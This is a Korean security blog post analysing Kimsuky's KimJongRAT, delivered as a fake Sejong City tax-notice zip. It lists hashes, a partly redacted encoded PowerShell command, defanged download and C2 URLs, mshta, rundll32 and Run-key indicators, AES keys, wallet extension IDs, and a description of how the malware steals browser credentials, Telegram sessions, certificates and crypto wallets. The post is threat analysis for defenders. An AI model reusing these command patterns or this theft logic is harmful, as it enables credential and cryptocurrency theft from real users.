오늘은 북한 수키(Kimsuky) 에서 만든 악성코드인 종 특별시 국세 고지서로 위장 한 악성코드-국세고지서.zip 에 대해 글을 적어 보겠습니다. 해당 악성코드는 세종 특별시 한누리대로 xxx로 돼 있습니다. 개인적인 생각으로 해당 컴퓨터가 털렸거나 세종 특별시가 털린 확률도 약간 생각을 해보아야 할 것이 아닌가? 생각됩니다. 세무서는 아닐 것이고 해당 악성코드는 압축 파일로 이메일로 통해서 보내진 것으로 추측됩니다.
이번은 2013년부터 발견이 된 KimJongRAT 이며 PE(Portable Executable) 파일을 사용 하고 다른 PowerShell 로 실행이 됩니다. 모두 피해자 정보와 브라우저 데이터(암호화폐 지갑 확장 프로그램 포함)를 수집하여 공격자 서버로 전송하도록 설계돼 있습니다. 일단 해당 악성코드를 실행하면 가상환경 여부 확인을 하는 것이 특징이며 실행이 되면 PDF 미끼 파일의 비밀번호를 보기 위한 암호를 친절하게 보여주는 것이 특징입니다. PDF password:kfgxl;Y859$#KG4fkdl^&
압축 파일 해쉬
MD5:59c4b2e0c8e3ece9b5bb3a13d3854670
SHA-1:a2cb8eb20267f992b90289007f40b10175c3adeb
SHA-256:ab7b9da0f77a03ea2549b255a90cecff0e25413e3f03b132b14a87181d7baa3d
이고 압축 파일의 풀면 암호.txt.lnk 파일과 PDF 파일이 있는 것을 확인할 수가 있으며 PDF 파일은 암호로 보호돼 있습니다.
ファイル名: 암호.txt.lnk
サイズ: 1 MB
MD5:edbec45c5d6e029e2b3a7b4b1dd5f6c4
SHA-1:6a2a458129ba6debf99a0f2015dbb5e64cdf35f8
SHA-256:a59b059f55e5b40204e44ddfce3a5e17b78f4a9b7bbfc687a67fa1b3cfee37a4

해당 링크로 열어보면 다음과 같이 돼 있는 것을 확인할 수가 있습니다.
StringData
{
namestring: Text File
relativepath: not present
workingdir: not present
commandlinearguments: -e cABvAHcAZQByAHMAaAB???AcwBoAHQAYQAgACIAa??DoALwAvAGwA
QBuAGsAMgA0AC4AawByAC8AQQA???BsADcANAAiAA==
iconlocation: C:\Windows\System32\imageres.dll
}


일단 해당 악성코드를 열어보면 Base64로 디코딩이 된 것을 확인할 수가 있습니다. 다시 돌아와서 Base64 는 그냥 CyberChef 로 풀거나 노트패드++로 풀어버리면 됩니다.
악성코드 분석
1.-e 의미
-e는 PowerShell 에서 -EncodedCommand 의 축약
2.Base64 디코딩 결과
Base64를 UTF-16LE 기준으로 디코딩
hxxps://link24(.)kr/A46bl74
인것을 확인을 할 수가 있으며 구글 드라이브를 이용해서 password.txt를 다운로드 합니다.
사용자 PC의 Windows Defender가 비활성화 상태일 경우 v3.hta 파일을 다운로드 진행을 합니다.
파일은 최종적으로 net64.log 파일을 내려받아 실행하며, 해당 파일은 시스템 정보 및 브라우저 저장 데이터, 브라우저 암호화 키, 암호화폐 지갑 정보,텔레그램(계정),디스코도,NPKI/GPKI 인증서 등 다양한 정보를 수집

사용자 컴퓨터의 Windows Defender가 활성화 상태일 경우 pipe.log 파일을 다운로드
여기서 윈도우 디펜더 활성화되었는지 비활성화되었는지에 따라 파일이 다르게 다운로드 됩니다.
즉 NPKI는 최상위인증기관이 KISA이고 GPKI는 GCC 그리고 일반 국민에게 공인인증서를 발행하는 PKI 도메인이 NPKI GPKI는 행정기관,보조기관,전자 문서 유통 및 행정 정보 공공이용, 공공기반, 은행 또는 사용자에게 발급하는 전자적 정보 쉽게 행정 쪽에서 특수한 목적으로 사용하기 위한 인증서들은 GPKI 폴더 아래로 저장
1.log 분석

국내(KR) 환경 +크립토 지갑 +브라우저 계정/쿠키+텔레그램 세션+공인인증서(NPKI/GPKI) 를 털어서
hxxps://quemr(.)mailhubsec(.)com 으로 전송
1. 기본 구조 & 식별자
감염 PC 고유값:하드웨어 UUID를 id로 사용
C:\Users\...\AppData\Local\Temp\<UUID> 폴더 생성->훔친 데이터를 저장
C2 서버:hxxps://quemr(.)mailhubsec(.)com
단일 인스턴스 실행 제어
pid.txt 에 이전 실행 PID 저장->이미 떠 있으면 바로 종료->중복 실행 방지
자기 보호,안티 VM,분석 방해
작업 파일 정리 및 자폭 함수
2.log
1.ps1
1.log
1.vbs
분석 환경/VM 으로 의심되면 위 파일들 지우고 종료

분석 환경/VM 으로 의심되면 위 파일들 지우고 종료
제조사 기반 VM 탐지
VMware,Microsoft(하이퍼-V),VirtualBox 제조사 감지 바로 실행 중단
디스크 정보 기반 VM 탐지
가상 디스크, VMware,Google PersistentDisk 포함 시 즉시 실행 중단
업로드용 암호화 & 전송

XOR 암호화
파일을 단순 XOR(0xFE)로 암호화 해서 전송
파일 업로드
System(.)Net(.)Http(.)HttpClient 사용
4MB 단위로 나눠서 여러 번 POST
첫번쨰로 ...?id=... 이후 ...?id=...&ap=1형태
파일 이름 뒤에 랜덤 숫자 붙여서 구분

DPAPI를 써서 브라우저 마스터키 복호화
구글 크롬, 마이크로소프트 엣지,네이버 웨일 브라우저 Local State 에 있는 os_crypt.encrypted_key DPAPI 복호화
결과: 각 브라우저의 마스터키(_masterkey 파일로 덤프)
로그인 데이터(암호),쿠키 등 복호화해서 너의 브라우저에 등록된 개인 ID 및 비밀번호는 네것
구글 크롬, 마이크로소프트 엣지,네이버 웨일 브라우저 + 지갑 확장 프로그램 탈취

GetExWFile 각종 지갑 확장 데이터 수집
GetExWFile 안의 hashTable,hashTable2,hashTable3가 핵심
User Data\<Profile>\Local Extension Settings\<확장ID> 아래 .ldb,.log 모두 복사
IndexedDB LevelDB 경로도 복사
암호화폐(가상화페)지갑 브라우저 확장(메타마스크, 트론, 팬텀, OKX, keplr 등) 관련해 모든 로컬 데이터 탈취->시드,프라이빗키,계정 구조를 노려서 지갑 털기 목적
GetBrowserData: 브라우저 계정,북마크,확장 리스트

마이크로소프트 엣지
Login Data:Edge_프로필_LoginData
Bookmarks:Edge_프로필_Bookmark
Extensions 폴더 하위 ID 목록:extensions.txt 에 기록
Google Chrome
Chrome\User Data\Local State
정규식으로 encrypted_key 추출->Unprotect-Data->chrome_masterkey
Login Data, Bookmarks, Extensions 목록 + 지갑 확장 데이터 탈취
Naver Whale(네이버 웨일)
Login Data, Bookmarks, Extensions + 지갑 확장 데이터
Firefox
Mozilla\Firefox\Profiles\...\cookies.sqlite 찾고 나서
y4.db,key3.db,cookies.sqlite,logins.json 복사
모든 주요 브라우저의 암호 DB(Login Data),쿠키,북마크,확장 목록,지갑 확장 LevelDB 로그탈취
텔레그램 세션 탈취
텔레그램 데스크톱의 세션,키,대화 관련 tdata 전체 복사->공격자는 이걸로 텔레그램 세션 하이재킹 가능
공인인증서(NPKI/GPKI)

NPKI/GPKI 공인인증서 폴더 통째로 압축
CreateFileList 에서 찾는 확장자 패턴:
.txt,.doc,.csv,.doc,.docx,
.xls,.xlsx,.pdf,.hwp,.hwpx,
.jpg,.jpeg,.png,.rar,.zip,.alz,.eml,.ldb,.log
한글(HWP/HWXP),ALZ,지갑/키 관련 파일명까지 전부 탐색
결과를 FileList.txt에 저장->zip 후 lst.dat 이름으로 서버에 업로드
결론: 한국 사용자+금융/암호화폐 사용자 강탈하려는 목적
시스템 정보, 프로그램 목록, Recent 파일
Init:시스템 정보 수집
관리자 권한 여부(UAC 설정 포함)
OS 정보, CPU 정보
디스크/볼륨 정보
실행 중 프로세스 전체 목록
설치 프로그램 리스트 (32/64bit 모두)->info.txt 로 저장
RecentFiles:최근 사용 파일
사용자가 최근 접근한 파일 경로 수집
C2 통신

10분마다 서버에 통신->나 살아 있다. 의미
appkey (추가 모듈)
서버에서 appkey 플래그가 오면 GetAppKey 실행

GetAppKey 상세
hxxps://drive(.)google(.)com/uc?export=download&id=15Xkvt3Tw(C)QJERcUHSUandCigMVVxsFqr
hxxps://drive(.)google(.)com/uc?export=download&id=1EkyeoSdhvGq(c)EpZkqBUzXnJYPLka7zJc
구글 드라이브에서 암호화된 DLL을 받아 AES로 복호화->app64.dll
rundll32 app64.dll, c 로 실행
실행 결과 cc_appkey 를 서버로 업로드 후 흔적 삭제
추가 모듈,업그레이드용 DLL 로더

rd:서버 에서 지정한 파일을 업로드
파일경로\t태그 형식
서버에서 파일들 보내라 목록을 받음 해당 파일들을 C2에 업로드
wr 서버에서 지시하는 파일 다운로드
로컬에 저장할 파일 경로->C2: $serverurl + $id + "/" + $fileName 에서 다운로드->해당 경로에 저장
서버가 원하는 파일을 피해자 PC에 다운로드 및 실행 목적
일종의 파일 전송 기반 RAT 기능
cm – 임의 명령 실행

C2에서 가져온 문자열을 그대로 PowerShell 코드로 실행
영속성 유지 (Persistence)
HKCU\...\Run\WindowsSecurityCheck 에 1.vbs 등록
사용자 로그온 시마다 자동 재실행
별도 PowerShell 스크립트(1.ps1)도 백그라운드로 실행해 추가 기능 수행


Ioc

C2 도메인
quemr(.)mailhubsec(.)com
추가 페이로드 (AppKey 모듈 구글 드라이브)
hxxps://drive(.)google(.)com/uc?export=download&(i)d=15Xkvt3T(w)CQJERcUHSUandCigMVVxsFqr->AES 암호화된 DLL 로더(appload.log)
hxxps://drive(.)google(.)com/uc?export=download&id=1EkyeoSdhvGqcEpZk(q)BUzXnJYPLka7zJc->추가 DLL/EXE (nzvwan.log)
초기 감염 체인 (HTA)
hxxps://link24(.)kr/A46bl74->mshta 로 직접 실행되는 HTA 드로퍼
파일, 디렉터리 IOC
공통 경로
%TEMP%\pid.txt
%TEMP%\%UUID%\ (예:C:\Users\<user>\AppData\Local\Temp
%TEMP%\%UUID%\info.txt
%TEMP%\%UUID%\FileList.txt->lst.zip->lst.dat
%TEMP%\%UUID%\recent.txt`
%TEMP%\%UUID%\edge_masterkey
%TEMP%\%UUID%\chrome_masterkey
%TEMP%\%UUID%\whale_masterkey
%TEMP%\%UUID%\Edge__LoginData
%TEMP%\%UUID%\Edge_Bookmark
%TEMP%\%UUID%\Chrome__LoginData
%TEMP%\%UUID%\Chrome__Bookmark
%TEMP%\%UUID%\Whale__LoginData
%TEMP%\%UUID%\Whale Bookmark
%TEMP%\%UUID%\Firefox__key4.db
%TEMP%\%UUID%\Firefox__key3.db
로그 파일 암호는 악성코드 신고 암호
%TEMP%\%UUID%\Firefox__cookies.sqlite
%TEMP%\%UUID%\Firefox__logins.json
%TEMP%\%UUID%\NPKI.zip
%TEMP%\%UUID%\GPKI.zip
%TEMP%\%UUID%\telg\ (텔레그램 tdata 복사본)
로더,모듈 관련
%TEMP%\appload.log (구글 드라이브에서 받은 암호화된 DLL)
%TEMP%\app64.dll (AES 복호화 후 rundll32로 실행)
%TEMP%\cc_appkey(app64.dll 실행 결과물,업로드 후 삭제)
%LOCALAPPDATA%\nzvwan.log (추가 DLL/모듈)
%LOCALAPPDATA%\init.dat(초기 수집 데이터 압축본; 원래는 init.zip)
스크립트 흔적 (KillMe 함수 정리 대상)
%LOCALAPPDATA%\pipe\1.ps1
%LOCALAPPDATA%\pipe\1.vbs
%LOCALAPPDATA%\pipe\1.log
%LOCALAPPDATA%\pipe\2.log
데이터 경로
%USERPROFILE%\AppData\LocalLow\NPKI->NPKI.zip 으로 압축 후 탈취
C:\GPKI->GPKI.zip 으로 압축 후 탈취
%APPDATA%\Telegram Desktop\tdata\->telg 폴더 이하로 복사
%APPDATA%\Microsoft\Windows\Recent\*.lnk->바로가기 대상 경로를 recent.txt 로 저장
레지스트리
지속성
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WindowsSecurityCheck
값: %LOCALAPPDATA%\pipe\1.vbs
UAC 및 정책 조회
읽기:HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin 확인
프로세스,커맨드라인
mshta.exe hxxps://link24(.)kr/A46bl74
메인 스크립트 실행 패턴
powershell.exe:-NoProfile -ExecutionPolicy Bypass->-File %LOCALAPPDATA%\pipe\1.ps1 -FileName %LOCALAPPDATA%\pipe\2.log
모듈 로더
rundll32.exe "%TEMP%\app64.dll",c
안티 분석,환경
Get-CimInstance Win32_ComputerSystem (Manufacturer: VMware, Microsoft, VirtualBox)
Get-PhysicalDisk 에서 Virtual Disk,Virtual HD,VMware,Google PersistentDisk 문자열 검색
데이터 수집
%LOCALAPPDATA%\Google\Chrome\User Data\Local State
%LOCALAPPDATA%\Microsoft\Edge\User Data\Local State
%LOCALAPPDATA%\Naver\Naver Whale\User Data\Local State
Local State 파일에서 encrypted_key 추출 후 ProtectedData.Unprotect 사용->_masterkey 파일 생성
브라우저 프로필:
...\User Data\Default\
...\User Data\Profile 1,Profile 2
훔치는 파일
Login Data
Bookmarks
Web Data,Network\Cookies
파이어폭스
%APPDATA%\Mozilla\Firefox\Profiles\*\cookies.sqlite
같은 폴더 key4.db,key3.db,logins.json 복사
가상화폐(암호 화폐) 수집
공통 경로 패턴:
\User Data\<Profile>\Local Extension Settings\<ExtensionID>\.ldb
\User Data\<Profile>\Local Extension Settings\<ExtensionID>\.log
\User Data\<Profile>\IndexedDB\chrome-extension_<ExtensionID>_0.indexeddb.leveldb\.ldb
%TEMP%\%UUID%\ 아래로 복사
가상화폐(암호 화폐) 확장 프로그램 ID
Chrome 엔진 기반 확장 프로그램 ID
hashTable (1차):주요 지갑
nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask
egjidjbpglichdcondbcbdnbeeppgdph:Trust Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink
aholpfdialjgjfhomihkjbmgjidlcdno:Exodus Web Ext
fhbohimaelbohpjbbldcngcnapndodjp:Binance Wallet
mcohilncbfahbmgdjkbpemcciiolgcge:OKX Wallet
bfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom (Solana)
ejbalbakoplchlghecdalmeeeajnimhm:MetaMask Snap/Related
pbpjkcldjiffchgbbndmhojiacbgflha:OKX 2 (old versions)
opfgelmcmbiajamepnmloijbpoleiama:Rainbow
phkbamefinggmakgklpkljjmgibohnba:Pontem
dmkamcknogkgcdfhhbddcghachkejeap:Keplr
nphplpgoakhhjchkkhmiggakijnkhfnd:TON Wallet
jbppfhkifinbpinekbahmdomhlaidhfm:iWallet
aiifbnbfobpmeekipheeijimdpnlpgpp:Static Wallet
2차 지갑 세트
bhhhlbepdkbapadjdnnojkbgioiodbic:Solflare
jblndlipeogpafnldhgmapagcccfchpi:Kaia
fpkhgmpbidmiogeglndfbkegfdlnajnf:Cosmos Wallet
onhogfjeacnfoofkfgppdlbmlmnplgbn:SubWallet
pdliaogehgdbhbnmkklieghmmjkpigpa:Bybit Wallet
acmacodkjbdgmoleebolmdjonilkdbch:Rabby
aflkmfhebedbjioipglgcbcmnbpgliof:Backpack
fnjhmkhhmkbjkkabndcnnogagogbneec:Ronin
ppbibelpcjmhbdihakflkdcoccbgbkpo:Unisat (BTC ordinal/Utxo)
anokgmphncpekkhclmingpimjmcooifb:Compass
dlcobpjiigpikoobohmabehhmhfoodbb:Argent
efbglgofoippbgcjepnhiblaibcnclgk:Martian
ejjladinnckdgjemekebdpeokbikhfci:Petra (Aptos)
fcfcfllfndlomdhbehjjcoimbgofdncg:LeacOS
jnlgamecbpmbajjfhmmmlhejkemejdma:Braavos (StarkNet)
fijngjgcjhjmmpcmkeiomlglpeiijkld:Talis
mkpegjkblkkefacfnmkajcjmabijhclg:Magic Eden Wallet
aeachknmefphepccionboohckonoeemg:Coin98
idnnbdplmphpflfnlkomgpfbpcgelopg:Xverse (Bitcoin/Stacks)
dmkamcknogkgcdfhhbddcghachkejeap:Keplr
nnpmfplkfogfpmcngplhnbdnnilmcdcg:Uniswap Wallet
bfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom
3차 지갑 세트 IndexedDB 기반
opcgpfmipidbgpenhmajoajpbobppdil:Sui Wallet
hnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase Wallet
kkpllkodjeloidieedojogacfhpaihoh:Enkrypt
암호화 로직 값
업로드 전 파일 암호화:XOR 0xFE
AES 복호화에 사용하는 고정 키/IV
Key:ftrgmjekglgawkxjynqrwxjvjsydxgjc(32바이트)
IV:rhmrpyihmziwkvln (16바이트)
HTA 파일은 정상 윈도우 프로세스인 mshta.exe를 사용하여 인터넷에서 원격의 hta를 직접 실행할 수 있는 특징을 가지고 있어서 자주 악용이 되며 Microsoft(마이크로소프트)가 계속 윈도우를 보안을 강화하고 있지만 영~그리고 파일을 실행하기 전 반드시 확장자를 확인하는 습관을 가지고 파일 탐색기 내 파일 확장자명 보기 기능을 활성화 필요 이유 토렌트 등에서도 확장자를 악용해서 랜섬웨어 많이 유포 중
김수키(Kimsiky) 동무 이렇게 열성적으로 미제 승냥이 군홧발 밑에서 신음하는 남조선 인민들의 가상화폐(암호화폐) 및 브라우저 정보 및 개인정보를 털고자 노력하는 김수키(Kimsiky) 동무의 당에 대한 충성심 과 불타는 열정 참으로 감동적이오.
근데 김수키 동무 개고생 했소...(無馱骨 だったな)
다 분석 했소...ㅋㅋㅋ
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| 윈도우 10 KB5071546,윈도우 11 KB5072033 보안 업데이트 (0) | 2025.12.11 |
|---|---|
| 구직자 를 대상 으로 Foxit PDF 리더 로 위장한 악성코드-document.bat (0) | 2025.12.10 |
| 김수키(Kimsuky)에서 만든 악성코드-*.vbs (0) | 2025.12.08 |
| 마이크로소프트 제로데이 공격으로 악용된 윈도우 LNK 취약점 완화 (0) | 2025.12.05 |
| 개인정보 탈취를 목적으로 만들어진 Formbook(폼북) 악성코드-社会的要請 PUC250929.zip (0) | 2025.12.01 |
| 국세청 사칭 김수키(Kimsuky) 에서 만든 피싱 메일 20251121_197262 새로운 고지서가 도착 했어요.분석 (0) | 2025.11.28 |
| 불법음원 MP3 파일로 유포 되는 악성코드-Gosisong_ada.mp3 (0) | 2025.11.26 |
| 김수키(Kimsuky) 이메일 로 유포 하는 악성코드-건강검진 안내서.alz (7) | 2025.11.24 |





